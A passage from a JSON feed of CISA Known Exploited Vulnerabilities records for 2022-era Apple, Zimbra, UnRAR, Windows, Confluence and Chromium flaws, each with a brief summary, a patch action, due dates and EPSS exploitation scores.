exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-32893","cveId":"CVE-2022-32893","aliases":[],"kind":"vulnerability","title":"Apple iOS and macOS Out-of-Bounds Write Vulnerability","summary":"Apple iOS and macOS contain an out-of-bounds write vulnerability that could allow for remote code execution when processing malicious crafted web content.","detail":"CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-18","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-18","dueAt":"2022-09-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09931,"percentile":0.95557,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-32893&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-32893","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-32893 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-32893&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-32893, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-32894","cveId":"CVE-2022-32894","aliases":[],"kind":"vulnerability","title":"Apple iOS and macOS Out-of-Bounds Write Vulnerability","summary":"Apple iOS and macOS contain an out-of-bounds write vulnerability that could allow an application to execute code with kernel privileges.","detail":"CISA added this entry on 2022-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-18","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"iOS and macOS","stacks":["Apple iOS and iPadOS","Apple macOS","Apple","iOS and macOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-18","dueAt":"2022-09-08","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03286,"percentile":0.88377,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-32894&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-32894","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-32894 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-32894&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-32894, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-27925","cveId":"CVE-2022-27925","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Arbitrary File Upload Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains flaw in the mboximport functionality, allowing an authenticated attacker to upload arbitrary files to perform remote code execution. This vulnerability was chained with CVE-2022-37042 which allows for unauthenticated remote code execution.","detail":"CISA added this entry on 2022-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-11","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-11","dueAt":"2022-09-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98676,"percentile":0.99924,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-27925&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-27925","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-27925 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-27925&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-27925, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-37042","cveId":"CVE-2022-37042","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Authentication Bypass Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) contains an authentication bypass vulnerability in MailboxImportServlet. This vulnerability was chained with CVE-2022-27925 which allows for unauthenticated remote code execution.","detail":"CISA added this entry on 2022-08-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-11","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-11","dueAt":"2022-09-01","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91893,"percentile":0.99817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-37042&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-37042","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-37042 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-37042&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-37042, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-30333","cveId":"CVE-2022-30333","aliases":[],"kind":"vulnerability","title":"RARLAB UnRAR Directory Traversal Vulnerability","summary":"RARLAB UnRAR on Linux and UNIX contains a directory traversal vulnerability, allowing an attacker to write to files during an extract (unpack) operation.","detail":"CISA added this entry on 2022-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-09","updatedAt":null,"regions":["Global"],"vendor":"RARLAB","product":"UnRAR","stacks":["7-Zip and WinRAR","RARLAB","UnRAR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-09","dueAt":"2022-08-30","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99233,"percentile":0.99936,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-30333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-30333","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-30333 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-30333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-30333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-34713","cveId":"CVE-2022-34713","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability","summary":"A remote code execution vulnerability exists when Microsoft Windows MSDT is called using the URL protocol from a calling application.","detail":"CISA added this entry on 2022-08-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-09","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-09","dueAt":"2022-08-30","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.67757,"percentile":0.99311,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-34713&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-34713","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-34713 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-34713&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-34713, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-27924","cveId":"CVE-2022-27924","aliases":[],"kind":"vulnerability","title":"Synacor Zimbra Collaboration Suite (ZCS) Command Injection Vulnerability","summary":"Synacor Zimbra Collaboration Suite (ZCS) allows an attacker to inject memcache commands into a targeted instance which causes an overwrite of arbitrary cached entries.","detail":"CISA added this entry on 2022-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-08-04","updatedAt":null,"regions":["Global"],"vendor":"Synacor","product":"Zimbra Collaboration Suite (ZCS)","stacks":["Zimbra","Synacor","Zimbra Collaboration Suite (ZCS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-08-04","dueAt":"2022-08-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93908,"percentile":0.99843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-27924&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-27924","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-08-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-27924 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-27924&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-27924, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26138","cveId":"CVE-2022-26138","aliases":[],"kind":"vulnerability","title":"Atlassian Questions For Confluence App Hard-coded Credentials Vulnerability","summary":"Atlassian Questions For Confluence App has hard-coded credentials, exposing the username and password in plaintext. A remote unauthenticated attacker can use these credentials to log into Confluence and access all content accessible to users in the confluence-users group.","detail":"CISA added this entry on 2022-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-07-29","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Confluence","stacks":["Atlassian","Confluence"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-07-29","dueAt":"2022-08-19","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98241,"percentile":0.99915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26138","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-07-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26138 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22047","cveId":"CVE-2022-22047","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Client Server Runtime Subsystem (CSRSS) Privilege Escalation Vulnerability","summary":"Microsoft Windows CSRSS contains an unspecified vulnerability that allows for privilege escalation to SYSTEM privileges.","detail":"CISA added this entry on 2022-07-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-07-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-07-12","dueAt":"2022-08-02","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18765,"percentile":0.97255,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22047&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22047","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-07-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22047 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22047&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22047, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26925","cveId":"CVE-2022-26925","aliases":[],"kind":"vulnerability","title":"Microsoft Windows LSA Spoofing Vulnerability","summary":"Microsoft Windows Local Security Authority (LSA) contains a spoofing vulnerability where an attacker can coerce the domain controller to authenticate to the attacker using NTLM.","detail":"CISA added this entry on 2022-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply remediation actions outlined in CISA guidance [https://www.cisa.gov/guidance-applying-june-microsoft-patch].","publishedAt":"2022-07-01","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-07-01","dueAt":"2022-07-22","action":"Apply remediation actions outlined in CISA guidance [https://www.cisa.gov/guidance-applying-june-microsoft-patch].","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10476,"percentile":0.95719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26925&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26925","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-07-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26925 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26925&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26925, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-4344","cveId":"CVE-2018-4344","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability which can allow for code execution.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02374,"percentile":0.83732,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-4344&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-4344","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-4344 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-4344&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-4344, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-8605","cveId":"CVE-2019-8605","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Use-After-Free Vulnerability","summary":"A use-after-free vulnerability in Apple iOS, macOS, tvOS, and watchOS could allow a malicious application to execute code with system privileges.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17609,"percentile":0.97126,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-8605&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-8605","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-8605 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-8605&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-8605, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-3837","cveId":"CVE-2020-3837","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, macOS, tvOS, and watchOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.14839,"percentile":0.96667,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-3837&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-3837","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-3837 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-3837&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-3837, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-9907","cveId":"CVE-2020-9907","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Memory Corruption Vulnerability","summary":"Apple iOS, iPadOS, and tvOS contain a memory corruption vulnerability that could allow an application to execute code with kernel privileges.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03199,"percentile":0.88034,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-9907&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-9907","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-06-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-9907 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-9907&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-9907, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-30533","cveId":"CVE-2021-30533","aliases":[],"kind":"vulnerability","title":"Google Chromium PopupBlocker Security Bypass Vulnerability","summary":"Google Chromium PopupBlocker contains an insufficient policy enforcement vulnerability that allows a remote attacker to bypass navigation restrictions via a crafted iframe. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2022-06-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-06-27","updatedAt":null,"regions":["Global"],"vendor":"Google","product":"Chromium PopupBlocker","stacks":["Google Chrome","Google","Chromium PopupBlocker"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-06-27","dueAt":"2022-07-18","action":"Apply updates per vendor 